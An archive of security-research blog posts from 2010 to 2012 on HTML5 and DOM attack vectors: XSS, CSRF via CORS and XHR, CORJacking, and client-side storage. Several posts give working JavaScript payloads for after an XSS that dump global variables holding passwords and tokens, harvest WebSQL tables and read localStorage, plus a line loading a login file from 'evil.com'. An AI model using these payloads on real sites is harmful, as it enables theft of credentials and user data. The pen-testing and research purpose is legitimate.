Saturday, December 29, 2012

Next Generation Application Architecture & HTML5

HTML5 applications are bringing in some significant changes to next generation application architecture. Hence, it is important to understand HTML5 to get a better security perspective. HTML5 allows applications to run in a thick client environment, have its own file system, SQL database, local variable storage and socket within the browser framework. Whether this instance of the browser is a part of desktop or mobile is immaterial.
Figure 1 – Run time environment and execution
Traditional applications have clear layers like presentation, business and data access. Typically, only the presentation layer would run on the client side and the other components would exist on the server side. Hence, the business logic and data access are server side as shown in figure 1.
In an HTML5 application things can be coded differently. It can have its own powerful business and data access layers. Hence, the developer can migrate some of the server side components to the client side by leveraging these features. As shown in figure 1, the shaded left corner rectangle is an overlap, this is the component which runs on the client side in the browser and executes within the client framework. This is a significant change; it allows applications to run in offline mode as well. At the same time, some of the server side implementations are now exposed to the client and some threats and security issues can emerge. HTML5 has a powerful presentation layer with newly added tags and markups. It also encompasses an effective business layer by having strong APIs accessible by JavaScript along with the data access layer. Now let’s look at figure 2
Figure 2 – HTML5 application architecture
An application running on the client side makes small backend calls to the application server as shown above over HTTP/HTTPS. It uses simple structures like JSON or XML. The application environment may have other servers like an authentication server and a database. This environment serves HTML5 and JavaScript content back to browsers. These browsers are running on desktop or mobile devices. HTML5 pages are loaded on the browser and each has the following logical layers within their architecture.
Presentation layer – HTML5 and CSS render the page and start executing the scripts within the DOM context. HTML5 has powerful markup and embedded APIs so it can run any type of application.
Business and Data layer – This layer runs using JavaScript and DOM. DOM is an integral and the most critical component of the browser - it glues everything together. DOM is managed by JavaScript and various APIs. There are several libraries and frameworks that can be used in this layer. This layer uses key functionalities and APIs like WebSQL, File System, Storage, Cache etc.
Network layer – HTML5 has a very powerful XMLHttpRequest (XHR) and Web Socket layer to manage networking calls. Using JavaScript APIs these calls help in communicating with the backend. It is important to note that it’s possible to communicate with the same domain or cross domain under well-defined policies and frameworks. As shown in figure 1.2 these calls can help in fetching data from their own environment or from a third party service like mail, messaging, news, etc.
Browser policies – Browser containers have several policies which are followed by APIs like Same Origin Policy (SOP), Cross Origin Resource Sharing (CORS), Sandbox, Content Security, etc. These policies enforce tight control over browser behavior and focus on the security structure within the browser framework.
Let’s divide application processing into the following key events of an application life cycle.
1. User involvement and interaction
2. Application behavior and process on the client (Browser/Mobile)
3. Modeling and presentation (HTML)
4. Data Analysis and processing
5. Data and store
In traditional Web 1.0 applications only 1 & 2 events as mentioned above can be done on the browser and the remaining happen on the server side since browsers were primitive by context.
With Ajax/Web 2.0 event 3 (data conversion and modeling) came under the browser umbrella and moved away from the server side.
Now, with HTML5 – all five events can be done completely on the browser side and dependency on the server is drastically reduced. This is the new era where browsers are no longer running a thin client application but executing a thick client application like a desktop app with the browser acting as a “mini operating system”.

Friday, December 07, 2012

Client and Server Side Threats in Era of Web 2.0/HTML5

Client Side Software Threats

In the beginning of the evolution client side components were very thin and they were designed to render simple HTML pages but over years demand for better interaction started to drive browser development. In current state browsers are running with thick JavaScript engine, Ajax support, Flash & Silverlight plugins etc. At the same time heavy demand for cross domain interaction of application is required as well and cocktail of rich client running with cross domain access is perfect mix for next generation attacks targeted to end user’s identity. Here is a list of few evolving threats and risks.
 Cross Site Scripting (XSS) & Cross Site Request Forgery (CSRF)  - Cross site scripting is one of the dangerous attack vectors for traditional as well as Web 2.0 applications. An attacker can inject a malicious script at the browser end and its execution can compromise the client’s identity. We have already witnessed several different worms and viruses leveraging XSS to exploit browsers and application layer.
CSRF is another client side attacking vector, if application running on server side accepts incoming request without checking HTTP referrer or its intent then it is possible for an attacker to force browser to generate HTTP request without end client’s consent. This attack vector can prove lethal and end up compromising end user’s identity.
 Cross domain attacks & client side controls - Browsers are not supporting cross domain calls from Ajax as such. At the same time there are various cross domain calls are blocked in the browser security model which is based on same origin policies (SOP). But in this new application era where Web Services are emerging as driving force lot of applications are providing callback mechanisms for their services. Malicious code execution in the browser in this cross domain framework can lead to security crisis in browser security model.
Thick browser side components are using various different security controls to guard application layer. These client side components are designed to protect browser for malicious attacks or validating outgoing content from browser to web server. These controls can be bypassed by well-crafted attacks and bypassing validations can lead to expansion of attack surface.
De-compilation attacks & Framework issues – Applications may be using some of the components which can be decompiled like Flash, ActiveX, Applet or Ajax Scripts. An attacker can decompile the code and obtain internal information. This de-compilation process can lead to sensitive information and logic.
There are several different frameworks and toolkit out there which are providing extra support for applications for Ajax and Flash. These frameworks are having their own security concerns and issues. Framework running with publicly known vulnerabilities can make application insecure and these holes can be leveraged by attackers. Ajax frameworks like Dojo, Prototype, GWT etc. are few examples. Some of these frameworks are loaded on both client and server ends and vulnerability can lead to severe impact on application.
These are few important issues on client side. There are some other interesting areas like business logic disclosure, HTTP response splitting, local privacy issues, Intranet scanning, DOM content stealing, Widget injections, state bypass with Ajax, secret disclosure and DNS pinning. Above threats can compromise client side of components and access to browser’s sensitive information. At the same time we are seeing rise on server side of vectors as well.

Server Side Software Threats

Over the evolution, there are several new technologies and components are added on application or web servers along with technologies and user defined code. Poorly written source code or misconfigured deployment environment opens up several security aspects on security. It is interesting to see that these opening are not just compromising the application only but can create hazard for entire network. Following are some higher level threats.
Traditional application resources – Application resources like Active Server Pages or Java Server pages can be one of the powerful attack points with both traditional as well as Web 2.0 applications sine these resources may contain vulnerability. These traditional pages can be programmed in such a way that they can support various different structures like Name-Value pairs, JSON or XML. Hence, it is possible to manipulate name-value pairs and various other structures to locate possible vulnerabilities.
Web Services resources or SOA components – Web 2.0 application contain Web Services running on the server to support various XML driven services like SOAP, REST or XML-RPC. These resources are very separate and with specific entry points. These resources are one of the targets for abuse and one can launch set of attacks against them.
Networked resources – Next generation applications are running with Internet as platform so one application is linked with another application with bridge. An attacker can identify this bridge and launch attack through another site to abuse functionality. Since bridge is trusted it may be running with lower security controls and can be compromised easily.
Here is the list of server side application attack vectors in various groups;
Authentication - Bruteforce and Authentication logic
Authorization – Predictable, Client side exposure, Extra header injections and Secret paths
Malicious payload injections - SQL injections, LDAP injections, XPATH injections, OS command injection, File system access injection, large buffer injection and Integer overflow
 Application layer logic hacks - Denial of Services, Uploading content, Client side code exposure
 Session based attacks - Sniffing, Session cleaning and Predictable session.
Confidential information leakage - WSDL leaks, Error leaks, Directory indexing, Backup files, Ajax errors, DHTML code, XML-RPC forcing, SOAP faults
 Logging and Auditing – DoS, Logging bypass, Poor auditing
Next generation applications will need better security against new technologies and associated threats. We have seen evolution and possible threats in this blog entry, this is just a scratch on the surface. Attackers are evolving their techniques and exploiting whatever little opening they get on the surface. Objective for us is to how we can protect our applications against it.

Thursday, November 08, 2012

XSS & CSRF with HTML5 - Attack, Exploit and Defense

HTML5 has empowered browser with a number of new features and functionalities. Browsers with this new architecture include features like XMLHttpRequest Object (L2), Local Storage, File System APIs, WebSQL, WebSocket, File APIs and many more. The browser is emerging as a platform like a little operating system and expanded its attack surface significantly. Applications developed in this new architecture are exposed to an interesting set of vulnerabilities and exploits. Both traditional vulnerabilities like CSRF and XSS can be exploited in this new HTML5 architecture. In this talk we will cover following new attack vectors and variants of XSS and CSRF.

HTML5 driven CSRF with XMLHttpRequest (Level 2)
CSRF with two way attack stream
Cross Site Response Extraction attacks using CSRF
Cross Origing Resource Sharing (CORS) policy hacking and CSRF injections
DOM based XSS with HTML5 applications
Exploiting HTML5 tags, attributes and events
DOM variable extraction with XSS
Exploiting Storage, File System and WebSQL with HTML5 XSS
Layered XSS and making it sticky with HTML5 based iframe sandbox
Jacking with HTML5 tags and features

In this session we will cover new methodology and tools along with some real life cases and demonstration. At the end we will cover some interesting defense methodologies to secure your HTML5 applications. My slides are as under (I will post video once get released)

Sunday, August 12, 2012

File System API with HTML5 – Juice for XSS


HTML5 has come up with several APIs and one of them is File System API (http://www.w3.org/TR/file-system-api/). Browsers are implementing it and it is covering both directories and files under this API. Hence, now web application can create a mini file system and dump files inside the browser. These files can be accessed at any point in time by the browser with the same domain context. These files can be permanent or temporary. The browser is acting like a mini OS and exposing the surface. If XSS is found it is easy to extract full file system created by the application.

For example, if an application has created a token file on the file system using the API. We can see files by following URI on chrome.













In above figure we can see files are being created in the browser. Now assuming XSS is found, it is easy to exploit by hooking into the file system and extracting the content. Following code can be part of the access routine.
























Bottom-line, lot is getting added to HTML5 and strong JavaScript analysis and look around would be needed from security professional. Looks like developer community is still playing around with these APIs but the days are not far where we will start seeing these types of application in production and landing for review at the door steps. 

Wednesday, August 01, 2012

[Blackhat 2012] HTML5 Top 10 Threats Stealth Attacks and Silent Exploits

BlackHat 2012 was really fun and lots of interesting talks. I presented paper on HTML5 Top 10 Threats and Security. You can find slides and paper over here.



Wednesday, February 15, 2012

CSRF with upload – XHR-L2, HTML5 and Cookie replay


XHR level 2 calls embedded in HTML5 browser can open a cross domain socket and deliver HTTP request. Cross Domain call needs to abide by CORS. Browser will generate preflight requests to check policy and based on that will allow cookie replay. Interestingly, multi-part/form-data request will go through without preflight check and “withCredentials” allows cookie replay. This can be exploited to upload business logic files via CSRF if server is not validating token/captcha. Business applications are allowing to upload files like orders, invoices, imports, contacts etc. These critical functionalities can be exploited in the case of poor programming.

If we have a business functionalities for actual upload form then this type of HTTP request will get generated at the time of upload. Note, cookie is being replayed and request is multi-part form.

Now, if CSRF payload has following XHR call.



Above call will generate following HTTP request and causes CSRF and upload the file. Hence, without user’s conscent or knowledge cross domain file being uploaded on the target application with the logged in credential.



Future probes – one needs to check other impact like AMF stream uploading, XML file transfer and few other library protocols which is now a day’s dealing in multi-part to support binary calls.

If you are interested in this analysis should visit @kkotowicz work - http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html.  

Friday, January 13, 2012

Password extraction from Ajax/DOM/HTML5 routine – Poor programming calls


Login Ajax routine is an interesting place to check for variable definition and assignments with respect to "single DOM application"/HTML5/Web2.0 framework. If variables are not created with proper scope then can be accessed as global and contain interesting information like username, password, tokens etc. Interestingly we need to do lot of JavaScript analysis with Web 2.0, Ajax, HTML5 and Single DOM applications.

For example, here is a routine for login. It can be buried in one of the JS files but gets loaded on DOM at the point of call and remain there throughout application life cycle.

function getLogin()
{

gb = gb+1;
var user = document.frmlogin.txtuser.value;
var pwd = document.frmlogin.txtpwd.value;
var xmlhttp=false;
        try  { 
         xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
           // other code for XHR initialization
                         
        }
       
        temp = "login.do?user="+user+"&pwd="+pwd;
        xmlhttp.open("GET",temp,true);
        xmlhttp.onreadystatechange=function()
               {   
                // other code on state ready change                                          
                                       
               }      
        xmlhttp.send(null);
}

Here, temp variable is crafting URL and posting username and password for Ajax call. It can be part of POST if going through send(). “temp” variable is very loosely defined as global and can be accessed from the DOM.
It is easy to access those variables from DOM – Yes, need DOM based XSS but coding practice is poor over here. Payload to exploit the vulnerability…

for(i in window){
    obj=window[i];
     try{
            if(typeof(obj)=="string"){
                console.log(i);
                console.log(obj.toString());
            }
        }catch(ex){}
}

You will get “temp” variable with following value - login.do?user=foo&pwd=foobar.

Saturday, January 07, 2012

Blind WebSQL and Storage extraction for HTML5 Apps


HTML5 is having two important data points – WebSQL and Storage. They are controlled by well defined RFCs and specifications. These APIs can be accessed using JavaScript. Assuming we get an entry into DOM then also we are completely blind with WebSQL table names and storage keys. Here is a way to enumerate that data during pen-testing and assessments.

Blind WebSQL Enumeration

We need following information to extract target content.

1.       Database object
2.       Table structure created on SQLite
3.       User table on which we need to run select query

Here is the script which can harvest database with zero knowledge

var dbo;
var table;
var usertable;
for(i in window){
                obj = window[i];
                try{
                                if(obj.constructor.name=="Database"){
                                                dbo = obj;
                                                                obj.transaction(function(tx){
                                                                tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'',[],function(tx,results){
                                                                                table=results;                                                                                                                                      
                                                                },null);
                                                });
                                }
                }catch(ex){}
}
if(table.rows.length>1)
                usertable=table.rows.item(1).name;

a.)    We will run through all objects and get object where constructor is “Database”
b.)    We will make Select query directly to sqlite_master database
c.)     We will grab 1st table leaving webkit table on 0th entry

We got the actual table name residing on WebSQL for this application, next we can run SQL query and loop through results.

We got the name of the table and now we can use same database object to run the query through script.


Hence, it can be part of payload during testing to fetch data remotely.

Blind Storage Enumeration

Storage enumeration is relatively easy, We can check for object length for local or session storage and if it is not zero run a loop and get all values. We can use following code for localStorage.

if(localStorage.length){
                console.log(localStorage.length)
                for(i in localStorage){
                                console.log(i)
                                console.log(localStorage.getItem(i));
                }
}

Here is the output for the call.



Wednesday, January 04, 2012

Global Sensitive Information Extraction from DOM – post DOM based XSS


DOM centered single page HTML5 and Web 2.0 applications are using GLOBAL variables to manage client side critical information. During consulting we have seen few applications managing client side session data on GLOBALS. These global objects are using JSON or Array. In some cases they are string as well.

For example,
Once user gets authenticated it gets a Script tag and along with an array like below to set global set of variables.

var arrayGlobals = ['my@email.com',"12141hewvsdr9321343423mjfdvint","test.com"];

In many cases it has sensitive information like tokens, public profile URLs, private URLs for information access, cross domain oAuth values, user/pass as temp variables etc. It has interesting set of information and it can be extracted in case of DOM based XSS. These DOM driven applications are single page and these set of values are accessible across application life cycle.

Here is an example of extracting JSON, Array and string from browser. It can be used as part of XSS testing and exploitation once it is found. It is interesting to add in XSS exploitation tools like BeeF. We are using it with node.js and customized payload for our routine test cases.

Below script will look for object and using JSON.stringfy for Firefox only else jquery plugin can help.

for(i in window){
    obj=window[i];
    if(obj!=null||obj!=undefined)
        var type = typeof(obj);
        if(type=="object"||type=="string")
        {
                console.log("Name:"+i)
                try{
                    my=JSON.stringify(obj);
                    console.log(my)
                }catch(ex){}  
         }
}

Just to fetch extracted values we are running in firebug and redirecting on console.






Really interesting stuff – check with your popular mailing and social networking sites.

Thursday, December 22, 2011

Cross Origin Resource Jacking (CORJacking) - DOM based attack vector


CSRF and UI Redressing (Click/Tab/Event Jacking) attack vectors are popular ways to abuse cross domain HTTP calls and events. HTML5, Web 2.0 and RIA (Flash/Silverlight) applications are loaded in browser with native state or using plug-ins. DOM used to be an integral part of the browser and now it is becoming even more important aspect with reference to web applications. Web applications are using DOM in very complex and effective way to serve their client better and leveraging all possible features allowed by DOM specifications.

There are many applications run as single DOM app and once it gets loaded, it remains in scope across the application life cycle. CORS and SOP have to play critical role in protecting Cross Origin Resources and control relevant HTTP calls. HTML5 and RIA applications are having various different resources like Flash files, Silverligh, video, audio etc. These resources are loaded in their own little object space which is defined by specific tag. These resources are accessible by DOM and can be manipulated as well. If DOM is forced to change underlying resource on the fly and replaced by cross origin/domain resource then it causes Cross Origin Resource Jacking (CROJacking).

Example,
Let’s assume there are two domains – foobank.com and evil.com. Foobank application is having flash driven application and it has its own login swf (login.swf) file. This flash component is loaded via object in the browser. If by DOM call this login.swf file is replaced by similar file residing on evil.com then it will cause CORJacking and user would be under impression that he/she is using foobank.com resources. Also, reverse would be possible as well. Evil.com loads resources residing on Foobank.com domain and it will cause reverse CORJacking.

Here is a small DEMO of CORJacking with Flash resource.

Here is the object tag loading flash component


HTML page is loaded in the browser and this object which is coming from foobank.com domain is being loaded. Assuming this page has DOM based issue and possible to inject/manipulate this value. Hence, if we want to access src of this object tag then through DOM we get its access.


Interestingly document.getElementsByName(‘Login’).item(0).src is not just read only value, one can assign a cross origin resource to it on the fly.

Hence, below line will actually change the resource and loads login.swf file from evil.com domain.

document.getElementsByName(‘Login’).item(0).src = ‘http://evil.com/login.swf’

This will clearly hijack the resource and user will be under impression that it is negotiating with foobank’s login component but actual component is from evil domain. This is the case of CORJacking and reverse can be done as well. Evil domain can load Foobank component and causes reverse CORJacking.

Since browser is allowing these Cross Origin Resource access one needs to embed defense in similar way we are doing for ClickJacking. Before component being loaded, component should have sense of domain and disallow its execution on cross domain as far as reverse CORJacking is concern. For CORJacking one needs to lock object using JavaScript, controlling stream and avoid DOM based injection issues to stop CORJacking exploitation.

[Note – This type of loading is not restricted to one type of resource only, it is applicable to different types of resources and browser's ability to process cross origin resource loading. It is possible to create various different variants of these attack vector like flashjacking, silverlightjacking, mediajacking etc. inherited from UI redressing family - interesting area for research, will add a paper on it soon.]




Thursday, December 08, 2011

Top 10 HTML5 Threats & Attack Vectors

Emerging as popular standard to create Rich Internet Applications and competing with technology stacks like Adobe’s Flex/Flash and Microsoft’s Silverlight is  HTML5[1]. HTML5 brings several new features and functionalities that allow developers to create really attractive and robust applications.  These applications can run on any browser and platform, although with some limitations. HTML5 applications are also supported by mobile devices. Hence, you can create your application once and run it on several devices and browsers. Each time, every new technology stack throws up new security challenges and vulnerabilities. HTML 5, though very promising, is no different. There are security concerns that need to be addressed when creating applications. Let us look at the top 10 possible attack vectors associated with HTML5 and modern browser architecture.

Read full article here (net-security.org)


Top 10 Attack Vectors

1.  ClickJacking & Phishing by mixing layers and iframe         
2.  CSRF and leveraging CORS to bypass SOP             
3.  Attacking WebSQL and client side SQL injection
4.  Stealing information from Storage and Global variables 
5.  HTML 5 tag abuse and XSS          
6.  HTML 5/DOM based XSS and redirects  
7.  DOM injections and Hijacking with HTML 5          
8.  Abusing thick client features      
9.  Using WebSockets for stealth attacks    
10.Abusing WebWorker functionality           

Browser Attack Surface and Layers

Friday, December 02, 2011

Double eval() for DOM based XSS


DOM based XSS are becoming relatively common with Web 2.0 and Ajax driven applications. DOM based applications are using eval() method to inject new stream into the existing DOM. In certain cases it is becoming tricky to pass on the values for pen-testing and to create an abuse/exploit scenario. Recently during consulting we came across different DOM based XSS and objective is to get a pop-up to confirm the vulnerability. If we get an eval call then it is possible to double eval-ing to convert text back into payload.

Here is a simple scenario; it can be complicated on case to case basis.
For example, we have following line in the code

eval('getProduct('+ koko.toString()+')');

Here “koko” is coming from URL or controlled by user. Hence, if we pass on the value in following URL it gets to the “getProduct” function.

Testing scenario is simple, it causes DOM based XSS with following condition.

We are passing payload terminating function, ending statement and commenting out rest of the script. We get a simple pop-up if we pass on following code.

But to prove a point if we want to craft any other payload where we need to send single quote, for example want to execute “document.getElementsByName('Login')” will not work since we have that single quote that will raise syntax error. For simplicity if we pass on alert(‘hi’), it will not work and we will not get popup in above scenario.

We get following error in the browser.

Error: syntax error
Source File: http://192.168.3.2/catalog.aspx?pid=3%27);elval(alert(%27hi%27));//
Line: 37, Column: 29
Source Code:
getProduct(3%27);elval(alert(%27hi%27));//)

Interestingly, we can leverage double eval() in this case, we pass on following payload and let’s see what happens…

It will avoid error and we will get a pop-up. What we did was simple, we used fromCharCode function and passed on decimal values for alert(‘hi’) here, first eval will convert it into string and second eval will execute the code. Hence, double eval can rescue while testing DOM based XSS.

Curiously I searched this trick on web if people are using it and came across this article - http://blogs.msdn.com/b/infopath/archive/2006/04/05/569338.aspx
Double eval() can be leveraged for string operations and concatenation.

Monday, November 28, 2011

CSRF with JSON – leveraging XHR and CORS

Same Origin Policy (SOP) dictates cross domain calls and allows establishment of cross domain connections. SOP bypasses allow CSRF attack vector, an attacker can inject a payload on cross domain page that initiate a request without consent or knowledge of the target user. HTML 5 is having one more policy in place called CORS (Cross Origin Resource Sharing). CORS is a “response blind” technique and controlled by extra added HTTP header “orgin” and their variants but it allows request to hit the target in one way direction. Hence, it is possible to do one-way CSRF. It is possible to initiate CSRF vector using XHR-Level 2 on HTML 5 pages and can prove really lethal attack vector. XHR establishes a stealth connection and remains much hidden, XHR connection can be set using “withCredentials” as true along with POST method. It allows cookie to replay and helps in crafting successful CSRF scenario or session riding. Interestingly HTML 5 along with CORS allows performing file upload CSRF as well. It is possible to craft a JavaScript using XHR and inject JSON payload as cross domain. If server side code on JSON library is not validating the “Content-Type” then it will process the request and allows successful CSRF.
For example,

Here is a script which will do CSRF on cross domain.



Here, we have “Content-Type” as “text-plain” and no new extra header added so CORS will not initiate OPTIONS to check rules on the server side and directly make POST request. At  the same time we have kept credential to “true” so cookie will replay.

On the wire we can see following request.

















As you can see cookie is replayed and JSON POST has been initiated. We get following response back from application.
















Application processed the request and sent JSON back. It is clear case of CSRF. This can be applied to other streams as well.

Wednesday, March 30, 2011

Training at Syscan - Web Hacking – Threats & Countermeasure

Web Hacking – Threats & Countermeasure
Introduction and adaptation of new technologies like Ajax, Rich Internet Applications and Web Services has changed the dimension of Web Hacking and Security. We are witnessing new ways of hacking and exploiting web based applications and it needs better understanding of technologies to perform penetration testing and assessment of web security. The course is designed by the author of “Web Hacking: Attacks and Defense”, “Hacking Web Services” and “Web 2.0 Security – Defending Ajax, RIA and SOA” bringing his experience in application security and research as part of curriculum to address new challenges for pen-testers, consultants, auditors and QA teams. Web Hacking 2.0 is extensively hands-on class with real life challenges and lab exercises. Participants would be methodically exposed to various different attack vectors and exploits. The learning sessions feature real life cases, hands one exercises, new scanning tools and exploits.

Visit syscan training page - here

Wednesday, March 23, 2011

HTML 5, XHR (L2) and DOM (L3) - Top 10 Attacks

Current stack and technology surface
















Top 10 Attack Vectors

1. XSS abuse with tags and attributes
2. DOM based XSS and Redirects
3. Stealing from the storage
4. Injecting and Exploiting WebSQL
5. Abusing network API and Sockets
6. CSRF across streams – JSON, AMF and XML
7. Sandbox attacks and ClickJacking
8. Abusing new features like drag-and-drop
9. Botnet/Spynet gets persistent life using WebWorkers
10. Threats to widgets and mashups



Friday, September 24, 2010

DOM Hacking - Paper and Tools

DOM Hacking was presented at BlackHat and going to present at next HackInTheBox. Here is the paper and Tools (DOMScan and DOMTracer). It helps during scanning, assessments and pen-testing. Enjoy!

Paper on DOM Hacking

Download
PDF document from here [BlackHat site]
Presentation slides from here [BlackHat site]

DOMScan (Beta)
DOMScan - Scanning and Analyzing DOM

DOMScan is utility to drive IE and capture real time DOM from the browser. It gives access to active DOM context along with JavaScripts. One can observe the DOM in detail using this utility. It has predefined rules to scan DOM. One can run the scan on existing DOM and fetch interesting entry points and calls. It allows tracing through JavaScript variables as well. Using this utility one can identify following vulnerabilities.

• DOM based XSS
• DOM based vulnerable calls
• Source of abuse and external content loading methods
• Possible DOM logic and business layer calls
• Same Origin Bypass calls and usage
• Mashup usage inside DOM
• Widget Architecture review using the tool

Download

DOMTracer (Beta)
DOMTracer - Firefox Plugin (Trace DOM and JavaScript Calls)

The DOM as seen in all the aforementioned cases needs to be analyzed in many aspects. Run-time analysis of the DOM/JavaScript is vital and aids one to look at the calls made during the ‘dynamic DOM manipulation’. The DOMTracer is a Firefox Extension for this same purpose. It has been written using the standard method of writing extensions using the XUL platform and the JavaScript language in majority. This is in beta and we are working on new features.

Download

Thursday, September 23, 2010

HITB - Malaysia

Training - TT1 – Web 2.0 Hacking – Advanced Attacks and Defense (Ajax, RIA and SOA)

Hacking a Browser’s DOM – Exploiting Ajax and RIA

Web 2.0 applications are using dynamic DOM manipulations extensively for presenting JSON or XML streams in the browser. These DOM calls mixed with XMLHttpRequest (XHR) object are part of client side logic written in JavaScript or part of any other client side technology be it Flash or Silverlight. DOM driven XSS is a sleeping giant in the application code and it can be exploited by an attacker to gain access to the end user’s browser/desktop. This can become a root cause of following set of interesting vulnerabilities – Cross Widget Sniffing, RSS feed reader exploitation, XHR response stealing, Mashup hacking, Malicious code injection, Spreading Worm etc. This set of vulnerability needs innovative way of scanning the application and corresponding methodology needs to be tweaked. We have seen DOM driven XSS exploited in various different popular portals to spread worm or virus. This is a significant threat on the rise and should be mitigated by validating un-trusted content poisoning Ajax or Flash routines. DOM driven XSS, Cross Domain Bypass and CSRF can cause a deadly cocktail to exploit Web 2.0 applications across Internet. This presentation will be covering following important issues and concepts.

* Web 2.0 Architecture and DOM manipulation points
* JavaScript exploits by leveraging DOM
* Cross Domain Bypass and Hacks
* DOM hacking for controlling Widgets and Mashups
* Exploiting Ajax routines to gain feed readers
* Scanning and detecting DOM driven XSS in Web 2.0
* Tools for scanning the DOM calls
* Mitigation strategies for better security posture